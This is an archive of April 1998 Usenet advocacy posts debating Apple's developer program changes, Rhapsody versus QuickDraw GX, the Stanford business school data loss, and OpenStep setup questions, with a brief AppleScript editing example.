Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 17:31:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15408ED-82A0E@206.165.43.22>
References: <6gm9n1$hom$7@quasar.dimensional.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
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Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> said:
> > And if you want to batch-process something in Rhaposdy, AS-style
> scripting
> > should be available for virtually every human-interface task anyway.
>
> I've realized the importance of the "human-interface" guidelines for you,
AppleScript provides a different way of dealing with an application. Rather
than a bunch of keyboard commands or mouse-movements, it uses a
more-or-less human-centric way of describing a task to get the task done.
Example:
tell application "scriptable text editor"
select the first word of the 5th paragraph
copy
select the first word of the 6th paragraph
paste
end tell
the above should work with any word processor that supports the AppleSCript
syntax, regardless of its particular "native" menu setup or command line
setup.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 11 Apr 1998 02:35:52 GMT
Organization: Occam's Razor
Message-ID: <6gmku8$n6j$1@news.cmc.net>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
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Cc: english@primenet.com
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <B1511189-1AF6A@206.165.43.154> "Lawson English" wrote:
>
>But shareware programmers often fill in the gaps that commercial software
>leaves. Also shareware programmers learn the ropes via feedback from their
>customers and are often high school/college students who later enter the
>Mac programming field as professionals.
>
>There's one very, VERY important piece of software that wouldn't exist if
>shareware wasn't easy to do on the Mac:
>
>Stuffit.
>
>Raymond Lau put himself through MIT by writing Stuffit when he was 16 and
>Alladin Software is a pretty important software house in the Macintosh
>community..
>
>Where's the next Stuffit or Alladin Software for MacOS going to come from
>if there aren't going to be any more Raymond Lau's?
But I wonder... Was Raymond Lau actually a member of any of Apple's
developer programs, or did he just get a Mac and hack on it like most
people?
Membership in Apple's developer programs is not a prerequisite to developing
good software.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 17:57:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1540F1E-99E8B@206.165.43.22>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
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Brad Hutchings <brad@hutchings-software.com> said:
> Developer Relations is more than just a set of programs. It's a way of
> doing business, and it's not clear that Apple Management understands
that.
>
Strikes me that "Apple Management" is an oxymoron that rivals "Apple
Advertising."
BTW, anyone read the new excerpts from Amelio's book about how Steve Jobs
approached Amelio well before the NeXT purchase claiming that he was the
ultimate CEO for Apple and that Amelio should just step aside and let the
right stuff handle the job?
But nyah, there was never any question that Jobs and Ellison hadn't
collaborated on the Jobs takeover of Apple.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mashima@sodoffearthlink.net (Brian Marshall)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 09 Apr 1998 19:26:33 -0700
Organization: EarthLink Network, Inc.
Message-ID: <mashima-0904981926340001@ip236.seattle4.wa.pub-ip.psi.net>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu> <6gj85u$e04$1@ha2.rdc1.sdca.home.com> <edremy-ya02408000R0904981401540001@nnrp.usc.edu>
In article <edremy-ya02408000R0904981401540001@nnrp.usc.edu>,
edremy@chem1.usc.edu (Eric Remy) wrote:
> In article <6gj85u$e04$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> > In <6gj2ad$ap4$1@jaka.ece.uiuc.edu> Steve Peltz wrote:
> > > In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>,
> > > Rex Riley <rr6013@yahoo.com> wrote:
> > > >http://www.mercurynews.com/business/center/stanford09.htm
> > >
> > > "technicians had not verified that the files were 'backed up' ..."
> > >
> > > They apparently do full dumps once a week, and daily incremental dumps.
> > If
> > > they lost "months" and "years" worth of work, that would mean that
> > > none of the full dumps (I would hope they'd rotate at least 3 sets)
> > > were complete. This shows how important it is to verify that your backup
> > > procedures are actually writing out the data you think is there; doing a
> > > full restore to another drive and verifying that everything is there that
> > > you think should be backed up would be one way of doing this.
> > >
> >
> > Yeah, sucks doesn't it that if you are a Windows user you have to go
> > through all that extra backup procedure. For hapless Stanford BSchool
> > users, its enough to hate Windows.
>
> How is this extra work? If you make backups, you check the data. Period.
> Doesn't matter if it's Windows, NT, Unix, Mac, VMS, AppleII, whatever. The
> most wonderful OS in the world can't stop hardware failures that result in
> tapes that seem fine, but aren't really. This is a very clear case of
> idiot sysadmins. Windows may have been at fault as well for having poor
> backup programs. (Interestingly, the article never says what the new
> servers were running- I assume NT, but it's not clear.)
>
> Having gone to Stanford for grad school, the network folks there seemed
> decent. (I wasn't in the business school, though.) However, I kept personal
> backups of my thesis. Many of them. Ditto the programs I wrote. I kept a
> backup copy at home, in case the building was destroyed by fire. (Happens
> in chemistry departments.)
>
> The systems? The programs were on a Unix machine, the thesis on a Mac.
>
> Paranoia is your friend.
I've heard way to often stories of tapes failing. What the hell do they
need to back up a thesis on tape for? Use a damn zip or 1.44 floppy. It's
pretty damn easy. Like I said before, Stupid techs, stupid users. Not bad
Mac or PC or Unix
Brian Marshall
From: mashima@sodoffearthlink.net (Brian Marshall)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 09 Apr 1998 19:21:28 -0700
Organization: EarthLink Network, Inc.
Message-ID: <mashima-0904981921290001@ip236.seattle4.wa.pub-ip.psi.net>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <01bd63f6$a5dbec00$c07498cf@edwint.rauland.com>
In article <01bd63f6$a5dbec00$c07498cf@edwint.rauland.com>, "Edwin E.
Thorne" <edwin.thorne@rauland.com> wrote:
> Rex Riley <rriley@yahoo.com> wrote in article
> <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>...
> > http://www.mercurynews.com/business/center/stanford09.htm
> >
> > Stanford.edu is the new PosterChild for Apple today in the wake of a
> > disaster which cost Windows users dearly. Mac users and Unix mainframes
> > emerged unscathed from a network "upgrade" which went arwy. Lost in the
> > maintenance were Phd. dissertations, databases, files and research notes
> > covering _years_ of work. Stanford Univ. School of Business,
> Windows-based
> > curriculum, has "tarnished" the institution's reputation and "erased"
> > years of academic work. The disaster affects 10 - 15 faculty and
> doctoral
> > candidates directly posing a "serious blemish" for the School of
> Business.
> >
> I am an avid Macintosh fan, but I must "call a foul" on this one. This is
> not an example of the Macintosh or Unix being better than Windows, this is
> an example of incompetent technicians, and poor work habits by the students
> and faculty.
>
> The loss did not occur simply because they were using Windows. It
> happened because the people installing the servers failed to do a back-up,
> and because those who lost work failed to do personal back-ups. If my
> degree was riding on those files, I'd have personal copies of everything.
>
> Let's apply a little honesty here. The same thing would have happened to
> either the Mac or Unix users if their servers were not backed up.
>
> This is a blemish for the school, no doubt, but not for Windows. Trying
> to paint it as Window's fault leaves us open to being called FUDsters, with
> just cause.
I am a frothing Mac Zealot to, but I have to agree. These techs and
students were stupid.
Brian Marshall
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 12:36:53 +0200
Organization: Completely Disorganized
Message-ID: <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@crib.bevc.blacksburg.va.us>
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
> If everyone sits around and waits until Rhapsody has a market size of
> X, rather than buying it and/or developing for it, can you guess the
> likely outcome?
>
> Me, I'm willing to put time and effort into a system that gets the
> job done better than any other, and do what I can to _make_ it a good
> platform.. if no one did, then nothing new would ever get used.
And it's exactly this that Apple has just made harder for small
developers. Shall I consider myself lucky for being in the (almost)
SELECT program for the coming 9 months? Honestly, I don't feel selected
at all, rather it seems like Apple is actively discouraging people like
me to continue development for their platforms.
It makes me bitter when I hear some of the established developers tell
the small guys to stop whining and shell out the $500 or go home and be
quiet: "If you can't pay the money, you can't be doing something
significant."
What these people apparently don't understand is that it requires a lot
of enthusiasm, effort and money to spent your sparetime on developing
software for the Mac. "Why sparetime?" you ask. -- Well, show me a place
where I can do full-time software development for Mac/Rhapsody.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Fri, 10 Apr 1998 21:56:55 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6gmmaa$ahc2@odie.mcleod.net>
References: <6gjel2$qe4$1@news.digifix.com> <B152B6CF-12EEF5@206.165.43.139>
[...] A lot of Lawson English ranting deleted.
Who cares ? Why should Apple implement and support editing of Hangul
Tri-Glyphs (Whatever they are) wrapped along a curve with quadratic splines
? Perhaps there is a market for this, but I suspect that market could pay
extra for these features. How many of Apple's customers could/would use
this ? I would guess less than 1 percent.
Only a small percentage of computer users want the features of Freehand.
Why should Apple provide even more features with ever computer shipped ?
Couldn't Apple better spend their development and support on features more
users want ?
Lawson English's ranting started with claims that you can not do this that
or the other thing with Rhapsody. Each claim has been refuted. Many if not
all of his claims were baseless and ignorant. Now he has finally made an
esoteric enough requirement that Rhapsody will probably not satisfy. Maybe
some third party should satisfy this need. If enough people want it, that
company will make money. Why should everyone pay for it ?
When will GX include all of the features of the Foundation framework ? When
will GX work on Intel PCs ? When will GX include Interface Builder. Come
on Lawson, use the right tool for the job.
From: Bluedays <nospam@spam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 18:04:26 +0200
Organization: BlueDays Software
Sender: ccauser@ifaedi.insa-lyon.fr
Message-ID: <6giria$nng$1@ifaedi.insa-lyon.fr>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net>
5[}Lsc={Nz:qqzPHDsEk/+Kwsi|^[n$(d%oR"D7X,!&!Ma|gjHJnv$Oxxr!XA[X*/jsG
iX8gev&1[W<^vSJ"'FU'r[Lxen]NMJqvS]7[x-;'jO<M!Q#:Jq;m?~7Lzb/fSwtl~f!4
L#=/n[5"1lk@G>ROW-WM<}&%z@98],c"aj:9eYn#Op-BNut;MyPMR
In article <joe.ragosta-0904980645050001@elk33.dol.net>,
Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <352c857a.2678525846@news.u-psud.fr>, pointal@lure.u-psud.fr wrote:
>
>> On 8 Apr 1998 19:24:55 GMT, gcheng@uni.uiuc.edu (Guanyao Cheng) wrote:
>>
>> >: Although I disapprove of the move by Apple, I really question why a
>> >: HS/college student would have to join the developer programs to write
>> >: software. After all, they could just download MPW or buy CodeWarrior at a
>> >: huge discount, and learn from the vast amount of online resources at
>> >: devworld.apple.com.
>>
>> Do you know the bandwitdh of US servers out of the US? Do you know the
>> cost of communications out of the US?
>>
>> For a student working at home, CDs are far better with his <1 to 5
>> kb/sec IP connection to US (at ~ $1/hour com cost + fixed provider
>> cost).
>
>That is probably true. But wouldn't most students have access to their
>college's facilities where they can download what they need by T1 and put
>it onto a zip drive or burn a CD to take home?
>
Of course, Mrs I know everything, do you really know how are the campus
in europe ? Do you really think that every campus has a internet connexion ?
with free access to zip drive and CD burner ? I'm sorry but you are
wrong, my school cannot afford this kind of expense, and it's the same
thing in lot of schools. labs inside campus have this but it's a minority.
If you read the posts today about the problem, you'll see that a lot
of complains come from europe, we don't need the free pass
for the WWDC because of the flight price. Even with a T1 the
bandwitdh with the US is bad...1K/s and less sometimes (often)
And if you think that now this will be the only way to get
information for many people if you don't have the CD...
Macintosh prices are higher in some places in europe than
in US, so the discount lost is not a real good news.
From: nhughes@sunflower.com (Nathan Hughes)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Fri, 10 Apr 1998 04:13:03 GMT
Organization: is a sign of a sick mind.
Message-ID: <352f99f7.304616375@news.sunflower.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <6gjs37$883$1@uuneo.neosoft.com>
Mime-Version: 1.0
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On or about 10 Apr 1998 01:19:35 GMT, in comp.sys.mac.advocacy
rlove@antispam.neosoft.com (Robert B. Love ) exclaimed :
>In <352d5190.286081406@news.sunflower.com> Nathan Hughes wrote:
>> In a related view, I think its about time universities require at
>> least two semesters of computer basics
>
>Gee, the students also use kitchen equipment and stero/tv gear.
There is a big difference between a microwave or TV and a Computer.
Additionally, neither the microwave nor the TV affect a students
ability to complete their work.
>Why not require courses in the use of those? How about
>auto maintence, since many of them drive. And how does
Where did I say student should be taught computer repair? I didn't.
The closest analogy would be driving a car. Driving a car is much
simpler than using a computer. Given that, you need to study a manual
and pass both a written and driving test before operating a car.
>teaching the use of a tool enchance the academics of the school?
OK. Perhaps next, we should quit teaching kids how to use pencils or
math. Neither of those are anything more than tools.
>
>While you can recommend certain practices, in the end its "let
>the computer user beware"
It will always be that way. But as more people begin using computers
on a daily basis they should be taught more thoroughly.
Nathan A. Hughes
MFA Candidate
The University Theatre KU
http://sunflower.com/~nhughes
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 11 Apr 1998 04:19:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B154A0B5-242DF@206.165.43.102>
References: <andrew-1104980043110001@lgm.com>
To: "Andrew Welch" <andrew@AmbrosiaSW.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Andrew Welch <andrew@AmbrosiaSW.com> said:
>
> The new developer programs are *fine* for small hobbyist developers --
> there's more available via http/ftp, for free, than there ever has been!
> Most of the people whom I've seen being upset by the changes either a)
> don't understand that they'll actually likely be saving money with the
new
> programs, or b) Aren't actively developing anything in the first place...
I misunderstood the availability of the SDKs, so I retracted my specic
objections. I've seen others express ire because they now no longer have
access to cheaper hardware even though their original contract said that
they would.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 23:55:20 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-0904982355200001@dante.eng.uci.edu>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr> <9APR98.16105101@fredjr.pfc.mit.edu>
In article <9APR98.16105101@fredjr.pfc.mit.edu>, FRIDBERG@PSFC.MIT.EDU wrote:
>And let's not forget such things as NewsWatcher (which probably half of people
>who read this NG are using, or NSCA Telnet (which I am using) or bunch of other
>internet software which made Mac so attractive to use for Internet access
>and allowed us to have pretty high market share on internet. Mister MMalcolm
>Crawford prbably never heard of such programs as Disinfectant of Internet
>Config either. Or maybe he just afraid that all those freeware applications
>going to drive him out of business?
Uh, those are all developed at higher ed except for Internet Config. Apple
seems to recognize the need to support development at higher-ed as we can
get a free developer license for the campus. Clearly Apple seems to
recognize where some of the most important MacOS freeware has come from in
the last several years.
Fear not, the sky is not falling.
-Bob Cassidy
Date: Fri, 10 Apr 1998 06:19:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1004980619170001@elk81.dol.net>
References: <joe.ragosta-0904981531590001@wil38.dol.net> <B152C422-16106C@206.165.43.139>
In article <B152C422-16106C@206.165.43.139>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> > Just like the last 20 rants that you went on were going to destroy Apple.
> > Wasn't abandoning QD GX supposed to destroy Apple?
>
>
>
> Yep. Abandoning superior technology for nothing in the pipeline (no
> upgrades to newtonOS, GX, CD, OpenDoc, etc will ever be done, meaning that
> any developer or user who bought into those is now orphaned) is always
> destructive.
Right. I'm still chuckling over all your statements about GX's superiority
over DPS which have been consistently wrong.
But you need to learn the difference between "will hurt Apple" and "will
destroy Apple"
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: xhsoft@injep.fr (Xavier Humbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 12:34:04 +0200
Organization: Maquis Usenet Ouest
Message-ID: <1d78rmx.1lk8pnd1s3f2ybN@hobbit1.injep.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> Apple's customers who no longer have to subsidise hobbyist developers.
Laurent Ribardiere used to be such a hobbyist. These (good ol') days,
you just have to say to Apple France you had a project, they GAVE you a
Mac Plus, an ImageWriter and MPW.
Now, ACI/ACIUS is a worldwide major Apple Software company. Wether 4thD
sucks or not is not the point :-)
Xav
--
Xavier HUMBERT Laboratoire Informatique INJEP
Office: labo-info/AT/injep.fr Home: humbert/AT/injep.fr
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Fri, 10 Apr 1998 21:52:01 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1004982152020001@pm3a12.rmac.net>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net> <edremy-ya02408000R0904981710030001@nnrp.usc.edu>
In article <edremy-ya02408000R0904981710030001@nnrp.usc.edu>,
edremy@chem1.usc.edu (Eric Remy) wrote:
> The sysadmins didn't verify that their backup was good, then overwrote the
> good data with the bad. I made an error once that would have been found by
> checking the data - I was using the bundled NT backup and didn't check the
> "backup local registry" box. When my HD failed, my data was ok, but I had
> to reinstall all my apps.
What makes me wonder is why they had to restore from backup to begin
with. Why does moving two servers cause them to become unusable? Maybe
they were tossed around to hard, but it seems rather odd that two servers
had the same problem.
I experienced a similar problem with a Windows 95 system. Moved it and
when we started it back up, it failed to load correctly. It took a
re-installation of the OS to fix it (no problems were reported by scandisk
before erasing the drive).
We will most likely never really know what happened...but these kinds of
unexplained problems are what keep me from using Windows. I just cannot
trust my data to it.
> The sysadmins were idiots. The users were idiots. There's plenty of blame
Were they? In hindsight, maybe so...but these guys must have some really
bad luck. Two servers that failed after being moved? Backups that didn't
work when needed?
Josh
From: pete@ohm.york.ac.uk (-bat.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.programmer
Subject: Re: first day with OS
Date: 10 Apr 1998 11:42:34 GMT
Organization: The University of York, UK
Sender: pcf1@york.ac.uk
Message-ID: <6gl0ja$30u$1@pump1.york.ac.uk>
References: <01bc462d$87ca8380$40f0bfa8@davidsul>
"NeXT Newbie" <macghod@concentric.net> writes:
> Some impressions of OS 4.2
> 1) This OS sure was designed for big monitors! I have a 17 inch and it
> seems to small. Seems like you would want at least a 20 inch monitor
17 inch is o.k. if you set the resolution high enough. Anything less
that 1024x768 is a right pain (and even thats not very good)
> 2) The mouse really annoys me. It reminds me of when I first used windows
> 3.1, I was like god I hate how jerky the mousee is. The mouse movement in
> OS 4.2 seems like how it was in windows 3.1, windows 95 definitely seems
> much better.
Hmmm... using a serial mouse ? If so get a PS/2 or Bus mouse. I always
disliked the serial mice under OpenStep. They were always appalling. I
haven't used on recently though. If, however, you are referring to the
pproprtionality of it then once you get used to it you will find that it's
a lot nicer and requires much less desk space.
> 3) How do you connect to the internet with ppp?
ppp is shipped with it - configuring it can be a bit of a pain. You
might like to take a look at gatekeeper.app on the archive.
> 4) once I get up and going with ppp, what do I use for usenet?
Any UNIX newsreader.
> 5) where is the option to change the monitors resolution and bits of color?
run up configure.ap as root, go to the display section and theres a button
marked "select" or something similar.
-bat.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 11 Apr 1998 12:04:51 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6gnm93$dob@newsb.netnews.att.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <joe.ragosta-0904981940420001@elk64.dol.net> <edremy-ya02408000R0904981710030001@nnrp.usc.edu> <Josh.McKee-1004982152020001@pm3a12.rmac.net>
Originator: gupta@tlctest
Joshua T. McKee <Josh.McKee@cbns.com> wrote:
>
>Were they? In hindsight, maybe so...but these guys must have some really
>bad luck. Two servers that failed after being moved? Backups that didn't
>work when needed?
Not only that. The PC network supposedly had a full backup every week.
So, even if the latest backup was no good, at most they should have lost
a week's worth of stuff.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 11 Apr 1998 12:11:14 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6gnml2$enm@newsb.netnews.att.com>
References: <199801202218001457904@ppp8.hol.fr> <352A6D21.3FC9A99@cisco.com> <6ggo0q$47c$1@interport.net> <6gm8eo$hom$2@quasar.dimensional.com>
Originator: gupta@tlctest
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>
>What really sickens me is the way the phone companies are reacting now.
>It's their fault we're stuck with this idiotic system, and they're trying to
>pass it off as ideal! (at least where I live). In Colorado, we have USWest
>as our primary local phone service. They run commercails advertising second
>lines for your modem, fax machine, and voice. Now, they're even starting an
>ISP! I really enjoy this line: "We make the Internet as easy as your
>phone." -- OH BROTHER. The phone system was fine for Alexander Bell,
>around 100 years ago, but it's an abombination now! How the hell is it
>"easy" to remember arbitrary numbers that are sent at sound frequences that
>are related to the functional equivilant of a netword address. Unstead of
>modeling the Internet after the phone system, and installing more and more
>idiotic "area codes," the phone system needs to be totally phased out.
Have you any idea how much investment it would take to rip out the current
phone system and replace it with, say, ATM ? Not to mention that the ATM
switches that can handle all that is required aren't there yet ?
The change to the infrastructure will happen, but it will be a bit slower
than Linux overtaking Windows NT :-)
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 11 Apr 1998 12:19:11 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6gnn3v$g3d@newsb.netnews.att.com>
References: <6gm9n1$hom$7@quasar.dimensional.com> <B1540977-84A8B@206.165.43.22>
Originator: gupta@tlctest
Lawson English <english@primenet.com> wrote:
>
>Jef Raskin, father of the Macintosh, agrees with you. He thinks that there
>is way too much modularity in applications. An example would be the
>distinction made between a word-processsor and spreadsheet. Why can't you
>just input a tab-deliminated column of numbers, select them and start
>applying formulas, rather than use a separate tool with a seperate
>interface?
But this "modularity in applications" is because of insufficient modularity
at the design level. The text-entry and storage (common interface) has to
be decoupled from what the text is used for -- formulas or plain text or
HTML tags or whatever, and this separation of function means finer grained
modularity than the traditional word-processor and spreadsheet.
-arun gupta
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.mac.programmer.codewarrior
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 14:50:19 +0200
Organization: pv
Message-ID: <1d7brgb.mh0tsh1y0bbeyN@dialup116-1-32.swipnet.se>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk> <ericb-0904981637520001@132.236.171.104> <6gjgm5$bfj$1@news01.deltanet.com> <6glos8$oop$17@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> According to Jordan J. Dea-Mattson
> Senior Partnership & Technology Solutions Manager
> Apple Developer Relations
> Apple has not been cashing anyone's checks on new enrollments or renewals
> for over six months. Everyone who has had to renew or join the program in
> the last six months has gotten it gratias.
False. Apple cashed my renewal in late february.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 14:50:07 +0200
Organization: pv
Message-ID: <1d7bqb3.w895i5193phn6N@dialup116-1-32.swipnet.se>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggrql$oop$1@ironhorse.plsys.co.uk> <6gisof$bht$1@interport.net> <6gln8m$oop$13@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > I'm not about to write any killer apps for anybody's operating system,
> >
> OK, so why are you interested in Apple's developer program?
Not all apps are killer apps. Most apps are merely useful. Perhaps only
to a small group of users. Developing these useful and important non
killer apps still requires information.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 14:50:11 +0200
Organization: pv
Message-ID: <1d7bqqw.zaqaktxojgw0N@dialup116-1-32.swipnet.se>
